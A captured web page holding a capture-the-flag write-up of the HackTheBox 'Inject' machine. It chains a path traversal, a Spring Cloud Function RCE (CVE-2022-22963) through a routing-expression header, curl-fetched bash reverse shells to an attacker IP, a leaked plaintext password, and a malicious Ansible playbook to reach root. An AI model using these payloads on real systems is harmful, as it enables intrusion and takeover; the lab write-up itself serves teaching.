nasrallahbaadi.com
Open in
urlscan Pro
185.199.110.153
Public Scan
URL:
https://nasrallahbaadi.com/posts/HTB-Inject/
Submission: On December 21 via api from US — Scanned from DE
Submission: On December 21 via api from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
NASRALLAH CTF write-ups and more. * HOME * CATEGORIES * TAGS * ARCHIVES * ABOUT * CHEAT SHEET * SUPPORT MY WORK Home HackTheBox - Inject Post Cancel HACKTHEBOX - INJECT Posted Dec 19, 2024 Updated Dec 19, 2024 By Nasrallah Baadi 5 min read 0xNasrallah Hacker Rank: 754 78 6 hackthebox.com -------------------------------------------------------------------------------- Inject from HackTheBox has a website vulnerable to path traversal allowing to read files and identify a dependency running on the website that’s vulnerable to rce giving us a foothold. Once in we identify a user password on a config file, the new user has write permission on a directory that has yaml files, we use pspy64 and find a cronjob running the yaml file on that folder. We create a malicious yaml that sends us a shell and get root. ENUMERATION NMAP We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}. * -sC: run all the default scripts. * -sV: Find the version of services running on the target. * -T4: Aggressive scan to provide faster results. 1 2 3 4 5 6 7 8 9 10 11 Host is up (0.50s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA) | 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA) |_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We found port 22 running SSH and 8080 running nagios web server. WEB It’s a cloud website where we can store files. There is an upload at the top right, let’s click it. I tried uploading a normal file but it only accept images. Let’s upload the image After uploading the image we get a link to our image http://10.10.11.204:8080/show_image?img=tmux.png Let’s test for path traversal to read /etc/passwd file. It worked! Not only we can read files, but we can also list directories. I didn’t find any low hanging fruits like ssh keys or password unfortunately. Let’s search in the website files. We found the WebApp directory that has some java files. Reading the pom.xml file reveals some juicy information. The file has the dependencies used by the web application, and searching for each one of those we find that the spring cloud function web has an RCE vulnerability cve-2022-22963 FOOTHOLD To exploit this we need to send a post request to /functionRouter with the following header. 1 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("cmd") I first run a ping to my box to see if it can reach it. Great! Now let’s get a shell. First i put the following bash rev shell to a file. 1 bash -i >& /dev/tcp/10.10.16.7/9001 0>&1 I uploaded the file to /tmp directory of the target. 1 T(java.lang.Runtime).getRuntime().exec('curl 10.10.16.7/shell.sh -o /tmp/shell.sh') I set up my listener and executed the file. 1 T(java.lang.Runtime).getRuntime().exec('bash /tmp/shell.sh') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [★]$ nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.7] from (UNKNOWN) [10.129.228.213] 35962 bash: cannot set terminal process group (6704): Inappropriate ioctl for device bash: no job control in this shell frank@inject:/$ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' frank@inject:/$ export TERM=xterm export TERM=xterm frank@inject:/$ ^Z zsh: suspended nc -lvnp 9001 ┌──[10.10.16.7]─[sirius💀parrot]-[~] └──╼[★]$ stty raw -echo;fg [1] + continued nc -lvnp 9001 frank@inject:/$ PRIVILEGE ESCALATION FRANK -> PHIL On frank’s home directory we find a hidden directory with the file settings.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8"?> <settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <servers> <server> <id>Inject</id> <username>phil</username> <password>DocPhillovestoInject123</password> <privateKey>${user.home}/.ssh/id_dsa</privateKey> <filePermissions>660</filePermissions> <directoryPermissions>660</directoryPermissions> <configuration></configuration> </server> </servers> </settings> We find phil’s password there. And now we can su phil 1 2 3 4 5 frank@inject:~$ su phil Password: phil@inject:/home/frank$ id uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff) phil@inject:/home/frank$ PHIL -> ROOT We see that user phil is part of a group called staff. With the help of the find / -group staff 2>/dev/nullcommand, we find that users on this group has write permission on the /opt/automation/tasks directory. 1 drwxrwxr-x 2 root staff 4096 Dec 18 08:50 tasks Inside the directory is a yaml file. 1 2 3 4 5 6 7 - hosts: localhost tasks: - name: Checking webapp service ansible.builtin.systemd: name: webapp enabled: yes state: started Running pspy64 we find a cronjob that’s executing the yaml files inside the tasks directory. 1 2 3 4 2024/12/18 08:36:33 CMD: UID=0 PID=1 | /sbin/init auto automatic-ubiquity noprompt 2024/12/18 08:38:01 CMD: UID=0 PID=24673 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml 2024/12/18 08:38:01 CMD: UID=0 PID=24671 | sleep 10 2024/12/18 08:38:01 CMD: UID=0 PID=24669 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml With this information, we can create a malicious yml file that sends us a reverse shell, and since root is the one running the cronjob, we will get a root shell. A quick search on google I found a yaml command execution code and modified it to give us a reverse shell. 1 2 3 4 5 6 7 8 --- - name: shell hosts: localhost become: yes tasks: - name: hack shell: "bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9001 0>&1'" Now I’ll write that in the tasks file and setup the listener and wait. We got root! PREVENTION AND MITIGATION OUTDATED DEPENDENCY We found the spring cloud function web is outdated and even vulnerable to RCE which gave us access to the system. Upgrade to the latest version and maintain an active update schedule for any patches that might be released in the future REFERENCES https://spring.io/security/cve-2022-22963 -------------------------------------------------------------------------------- Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :). HackTheBox, Machines hackthebox linux easy pathtraversal java cve rce This post is licensed under CC BY 4.0 by the author. Share RECENTLY UPDATED * HackTheBox - Inject * TryHackMe - U.A. High School * TryHackMe - Airplane * HackTheBox - Backdoor * TryHackMe - NanoCherryCTF TRENDING TAGS linux easy tryhackme hackthebox sudo windows cve medium rce crack CONTENTS * Enumeration * nmap * Web * Foothold * Privilege Escalation * Frank -> Phil * Phil -> root * Prevention and Mitigation * Outdated dependency * References FURTHER READING Sep 1, 2022 HACKTHEBOX - SHOKER Description Hello hackers, I hope you are doing well. We are doing Shoker from HackTheBox. In this machine, we us the shellshock exploit to gain foothold, and a sudo misconfiguration gives u... Sep 9, 2022 HACKTHEBOX - TRAVERXEC Description Hello hackers, I hope you are doing well. We are doing Traverxec from HackTheBox. The box is running a webserver vulnerable to rce allowing to get a reverse shell on the machine.... Jan 23, 2023 HACKTHEBOX - HORIZONTALL Description Hello hackers, I hope you are doing well. We are doing Horizontall from HackTheBox. Enumeration nmap We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {t... TryHackMe - U.A. High School - © 2024 Nasrallah Baadi. Some rights reserved. Using the Chirpy theme for Jekyll. TRENDING TAGS linux easy tryhackme hackthebox sudo windows cve medium rce crack A new version of content is available. Update